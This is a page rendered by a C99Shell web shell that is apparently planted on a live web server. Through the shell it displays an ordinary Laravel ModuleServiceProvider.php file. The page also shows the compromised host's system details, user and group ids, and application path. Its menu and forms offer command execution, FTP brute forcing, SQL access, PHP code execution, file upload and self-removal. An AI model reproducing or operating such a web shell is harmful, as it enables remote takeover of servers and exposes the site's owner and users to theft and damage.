!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Providers/   drwxr-xr-x
Free 26.14 GB of 117.98 GB (22.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ModuleServiceProvider.php (3.47 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Providers;

use 
Nwidart\Modules\Module;
use 
Illuminate\Support\ServiceProvider;

use 
Illuminate\Database\Eloquent\Factory;

class 
ModuleServiceProvider extends ServiceProvider
{
    
/**
     * Register the service provider.
     *
     * @return void
     */
    
public function boot()
    {
        foreach (
$this->app['modules']->allEnabled() as $module) {
            
$this->loadViews($module);
            
$this->loadTranslations($module);
            
$this->loadConfigs($module);
            
$this->loadMigrations($module);
            
$this->loadModelFactories($module);
        }
    }

    
/**
     * Load views for the given module.
     *
     * @param \Nwidart\Modules\Module $module
     * @return void
     */
    
private function loadViews(Module $module)
    {
        
$viewPath resource_path('views/modules/' $module->getLowerName());

        
$sourcePath module_path($module->getName(), 'Resources/views');

        
$this->publishes([
            
$sourcePath => $viewPath
        
], ['views'$module->getLowerName() . '-module-views']);

        
$this->loadViewsFrom(array_merge($this->getPublishableViewPaths($module), [$sourcePath]), $module->getLowerName());
    }

    
/**
     * Load translations for the given module.
     *
     * @param \Nwidart\Modules\Module $module
     * @return void
     */
    
private function loadTranslations(Module $module)
    {
        
$langPath resource_path('lang/modules/' $module->getLowerName());

        if (
is_dir($langPath)) {
            
$this->loadTranslationsFrom($langPath$module->getLowerName());
        } else {
            
$this->loadTranslationsFrom(module_path($module->getName(), 'Resources/lang'), $module->getLowerName());
        }

        
$this->loadJsonTranslationsFrommodule_path($module->getName(), 'Resources/lang'), $module->getLowerName());
    }

    
/**
     * Load migrations for the given module.
     *
     * @param \Nwidart\Modules\Module $module
     * @return void
     */
    
private function loadConfigs(Module $module)
    {
       
$this->publishes([
            
module_path($module->getName(), 'Config/config.php') => config_path($module->getLowerName() . '.php'),
        ], 
$module->getLowerName());

        
$this->mergeConfigFrom(
            
module_path($module->getName(), 'Config/config.php'), $module->getLowerName()
        );
    }

    
/**
     * Load migrations for the given module.
     *
     * @param \Nwidart\Modules\Module $module
     * @return void
     */
    
private function loadMigrations(Module $module)
    {
        
$this->loadMigrationsFrom("{$module->getPath()}/Database/Migrations");
    }

    
/**
     * Load model factories for the given module.
     *
     * @param \Nwidart\Modules\Module $module
     * @return void
     */
    
private function loadModelFactories(Module $module)
    {
        
$path "{$module->getPath()}/Database/Factories";
    }

    
/**
     * Get the services provided by the provider.
     *
     * @return array
     */
    
public function provides()
    {
        return [];
    }

    private function 
getPublishableViewPaths(Module $module): array
    {
        
$paths = [];
        foreach (
\Config::get('view.paths') as $path) {
            if (
is_dir($path '/modules/' $module->getLowerName())) {
                
$paths[] = $path '/modules/' $module->getLowerName();
            }
        }
        return 
$paths;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--